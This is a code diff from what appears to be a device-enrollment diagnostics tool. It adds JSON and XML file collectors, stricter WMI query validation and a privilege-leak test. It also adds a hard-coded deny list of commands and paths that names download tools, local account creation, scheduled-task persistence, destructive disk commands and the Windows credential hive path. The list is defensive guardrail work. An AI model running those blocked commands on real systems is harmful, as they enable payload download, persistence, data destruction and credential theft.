without(GA_FULL, [...RAW_GA_STRICT, ...CONFIG_WRITE_GA_STRICT, ...ANNOTATION_WRITE_GA_STRICT]));
});
it('tenant user = GA minus all platform-only tools', () => {
@@ -232,6 +240,7 @@ describe('role catalog snapshot — privilege-leak guard', () => {
for (const [label, list] of [
['RAW_GA_STRICT', RAW_GA_STRICT],
['CONFIG_WRITE_GA_STRICT', CONFIG_WRITE_GA_STRICT],
['ANNOTATION_WRITE_GA_STRICT', ANNOTATION_WRITE_GA_STRICT],
['PLATFORM_ONLY', PLATFORM_ONLY],
['DELEGATED_HIDDEN', DELEGATED_HIDDEN],
['DELEGATED_ADDED', DELEGATED_ADDED],
@@ -252,4 +261,9 @@ describe('role catalog snapshot — privilege-leak guard', () => {
const leaked = CONFIG_WRITE_GA_STRICT.filter((n) => !PLATFORM_ONLY.includes(n));
expect(leaked, 'a config-write GA-strict tool is not also marked platform-only').toEqual([]);
});
it('the annotation write tool is a subset of the platform-only tools', () => {
const leaked = ANNOTATION_WRITE_GA_STRICT.filter((n) => !PLATFORM_ONLY.includes(n));
expect(leaked, 'the annotation write tool is not also marked platform-only').toEqual([]);
});
});
@@ -277,6 +277,7 @@ export const DEVICE_PROPERTIES_CATALOG = {
'autopilot_profile_missing.profileAvailable': { type: 'string', description: 'Always "0" — Windows recorded that no Autopilot profile was available during OOBE' },
'autopilot_profile_missing.zeroTouchTenantDomain': { type: 'string', description: 'CloudAssignedTenantDomain from the cached ZeroTouchConfig (empty when no profile was downloaded)' },
'autopilot_profile_missing.likelyCauses': { type: 'string', description: 'Comma-separated candidate causes (profile_not_assigned, profile_assignment_not_propagated) — the device itself passed backend device-registration validation, so the gap is the profile assignment, not the registration' },
'autopilot_profile_missing.isCloudPc': { type: 'boolean', description: 'true when the device is a Windows 365 Cloud PC — there the missing profile is expected (Cloud PCs are provisioned by the Windows 365 service, not Autopilot) and the event is emitted as Info instead of Warning' },
},
hardware_spec: {
'hardware_spec.cpuName': { type: 'string', description: 'CPU model name (e.g. "Intel Core i7-1265U")' },
@@ -70,6 +70,14 @@ export const RULE_AUTHORING_GUIDE = {
file:
'Check file/directory existence, optionally read content. target = path under an allow-listed ' +
'prefix. parameters: readContent ("true"). C:\\Users is blocked.',
json:
'Query a JSON file with a JSONPath expression. target = file path under an allow-listed ' +
'prefix (same file guardrails as collectorType "file", 200 KB cap). parameters: jsonpath ' +
'(REQUIRED, e.g. "$.status.lastSync"), maxResults (default 20, max 100).',
xml:
'Query an XML file with an XPath expression. target = file path under an allow-listed ' +
'prefix (same file guardrails as collectorType "file", 200 KB cap). parameters: xpath ' +
'(REQUIRED), namespaces (optional "prefix=uri;prefix2=uri2"), maxResults (default 20, max 100).',
command_allowlisted:
'Run one of the exactly allow-listed commands (see rule_guardrails allowedCommands). ' +
'Matching is EXACT (trimmed, case-insensitive) — no arguments can be added or removed.',
@@ -247,7 +255,7 @@ export const RULE_AUTHORING_GUIDE = {
analyzeCategories: ['network', 'identity', 'enrollment', 'apps', 'esp', 'device', 'security'],
analyzeSeverities: ['info', 'warning', 'high', 'critical'],
gatherOutputSeverities: ['Info', 'Warning', 'Error', 'Critical'],
gatherCollectorTypes: ['registry', 'eventlog', 'wmi', 'file', 'command_allowlisted', 'logparser'],
gatherCollectorTypes: ['registry', 'eventlog', 'wmi', 'file', 'json', 'xml', 'command_allowlisted', 'logparser'],
gatherTriggers: ['startup', 'phase_change', 'phase_exit', 'interval', 'on_event'],
analyzeConditionSources: ['event_type', 'event_data', 'event_data_array', 'phase_duration', 'event_count', 'app_install_duration', 'event_correlation'],
},
@@ -98,6 +98,8 @@ export const GATHER_RULE_SCHEMA: Record<string, unknown> = {
"eventlog",
"wmi",
"file",
"json",
"xml",
"command_allowlisted",
"logparser"
]
@@ -1000,6 +1002,27 @@ export const RULE_GUARDRAILS = {
"C:\\Install\\Log"
],
"blockedFilePrefixes": [
"C:\\Users"
]
"C:\\Users",
"C:\\Windows\\System32\\config"
],
"blockedCommandPatterns": [
"Invoke-WebRequest",
"Invoke-RestMethod",
"Start-BitsTransfer",
"wget",
"curl",
"certutil -urlcache",
"New-LocalUser",
"Add-LocalGroupMember",
"net user",
"net localgroup",
"bcdedit",
"bcdboot",
"schtasks /create",
"Register-ScheduledTask",
"Remove-Item -Recurse",
"Format-Volume",
"Set-ExecutionPolicy"
],
"maxCommandLength": 2000
} as const;
@@ -67,10 +67,32 @@ const flatRegistryPrefixes = RULE_GUARDRAILS.registryPrefixes.flatMap((g) => [..
const flatCommands = RULE_GUARDRAILS.allowedCommands.flatMap((g) => [...g.commands]);
const flatEventLogChannels = RULE_GUARDRAILS.eventLogChannels.flatMap((g) => [...g.channels]);
/** Hard blocks enforced in agent CODE (not liftable via guardrails.json). Keep in
* sync with GatherRuleGuards.cs — additions there are fail-safe (agent still blocks),
// Canonical WMI allowlist entry: exactly "SELECT * FROM <class>". Such entries
// contribute their class name; any other entry (none today) stays on the legacy
// literal-prefix path. Mirrors GatherRuleGuards.cs.
const CANONICAL_WMI_ENTRY_REGEX = /^SELECT\s+\*\s+FROM\s+([A-Za-z_][A-Za-z0-9_]*)$/i;
// WQL shape "SELECT <* | property-list> FROM <class>", class token bounded by
// whitespace or end of string (trailing WHERE permitted, Win32_BIOSX cannot
// pass as Win32_BIOS).
const WMI_QUERY_REGEX =
/^SELECT\s+(?:\*|[A-Za-z_][A-Za-z0-9_]*(?:\s*,\s*[A-Za-z_][A-Za-z0-9_]*)*)\s+FROM\s+([A-Za-z_][A-Za-z0-9_]*)(?=\s|$)/i;
const allowedWmiClasses = new Set<string>();
const residualWmiPrefixes: string[] = [];
for (const entry of RULE_GUARDRAILS.wmiQueryPrefixes) {
const m = CANONICAL_WMI_ENTRY_REGEX.exec(entry.trim());
if (m) allowedWmiClasses.add(m[1].toLowerCase());
else residualWmiPrefixes.push(entry);
}
/** Hard blocks enforced in agent CODE (not liftable via guardrails.json — the JSON
* mirrors them for display and pre-flight; an agent-side parity test pins the two
* equal). Additions in GatherRuleGuards.cs are fail-safe: the agent still blocks,
* missing ones here just cost a pre-flight warning. */
const HARD_BLOCKED_PATH_PREFIXES = ['C:\\Users', 'C:\\Windows\\System32\\config'];
const HARD_BLOCKED_PATH_PREFIXES: readonly string[] = RULE_GUARDRAILS.blockedFilePrefixes;
const HARD_BLOCKED_COMMAND_PATTERNS: readonly string[] = RULE_GUARDRAILS.blockedCommandPatterns;
const MAX_COMMAND_LENGTH: number = RULE_GUARDRAILS.maxCommandLength;
/** Segment-bounded prefix match: target equals the prefix or continues with '\'. */
function pathPrefixAllowed(target: string, prefixes: readonly string[]): boolean {
@@ -102,6 +124,8 @@ function checkGatherTarget(collectorType: string, target: string): ValidationFin
break;
}
case 'file':
case 'json':
case 'xml':
case 'logparser': {
const blocked = HARD_BLOCKED_PATH_PREFIXES.find((p) => pathPrefixAllowed(target, [p]));
if (blocked) {
@@ -121,19 +145,46 @@ function checkGatherTarget(collectorType: string, target: string): ValidationFin
break;
}
case 'wmi': {
const t = target.toLowerCase();
const ok = RULE_GUARDRAILS.wmiQueryPrefixes.some((p) => {
const pl = p.toLowerCase();
// Whitespace-bounded: the query is the prefix or continues with whitespace
// (mirrors the agent's boundary check, prevents Win32_BIOSX spoofing).
return t === pl || (t.startsWith(pl) && /\s/.test(t.charAt(pl.length)));
});
// Trim like the agent does — an untrimmed target must not be a false positive.
const t = target.trim().toLowerCase();
const m = WMI_QUERY_REGEX.exec(t);
let ok = m !== null && allowedWmiClasses.has(m[1]);
if (!ok) {
findings.push({ level: 'error', message: `guardrails: WMI query "${target}" does not start with any allowed query prefix (rule_guardrails → wmiQueryPrefixes).` });
// Non-canonical allowlist entries keep the legacy literal-prefix match.
ok = residualWmiPrefixes.some((p) => {
const pl = p.toLowerCase();
return t === pl || (t.startsWith(pl) && /\s/.test(t.charAt(pl.length)));
});
}
if (!ok) {
findings.push({
level: 'error',
message:
`guardrails: WMI query "${target}" is not allowed — use "SELECT <properties or *> FROM <class>" against a class from rule_guardrails → wmiQueryPrefixes. ` +
'Allowing additional classes requires a contribution to rules/guardrails.json in the product repository.',
});
}
break;
}
case 'command_allowlisted': {
// Hard guards enforced in agent CODE even in unrestricted mode (mirrors
// GatherRuleGuards.IsCommandAllowed order: length cap → blocked patterns → allowlist).
if (target.length > MAX_COMMAND_LENGTH) {
findings.push({
level: 'error',
message: `guardrails: command exceeds the ${MAX_COMMAND_LENGTH}-character hard limit — the agent always refuses this, even in unrestricted mode.`,
});
break;
}
const targetLower = target.toLowerCase();
const blockedPattern = HARD_BLOCKED_COMMAND_PATTERNS.find((p) => targetLower.includes(p.toLowerCase()));
if (blockedPattern) {
findings.push({
level: 'error',
message: `guardrails: command contains hard-blocked pattern "${blockedPattern}" — the agent always refuses this, even in unrestricted mode. It cannot be allow-listed.`,
});
break;
}
const t = target.trim().toLowerCase();
if (!flatCommands.some((c) => c.trim().toLowerCase() === t)) {
findings.push({
@@ -335,6 +386,18 @@ function lintGatherRule(rule: Record<string, unknown>): ValidationFinding[] {
const findings: ValidationFinding[] = [];
const trigger = rule.trigger as string | undefined;
// Mirrors GatherRulesFunction.ValidateScopeAndEmitMode: both scope fields set
// is a 400 at create/update time (the schema enums cover the token values, but
// cannot express this exclusivity).
const hasActivePhases = Array.isArray(rule.activePhases) && rule.activePhases.length > 0;
const hasFromPhase = typeof rule.activeFromPhase === 'string' && rule.activeFromPhase.length > 0;
if (hasActivePhases && hasFromPhase) {
findings.push({
level: 'error',
message: 'activePhases and activeFromPhase are mutually exclusive — set only one (the backend rejects rules with both, HTTP 400).',
});
}
if (trigger === 'interval' && typeof rule.intervalSeconds !== 'number') {
findings.push({ level: 'error', message: 'trigger "interval" requires intervalSeconds.' });
}

Some files were not shown because too many files have changed in this diff Show More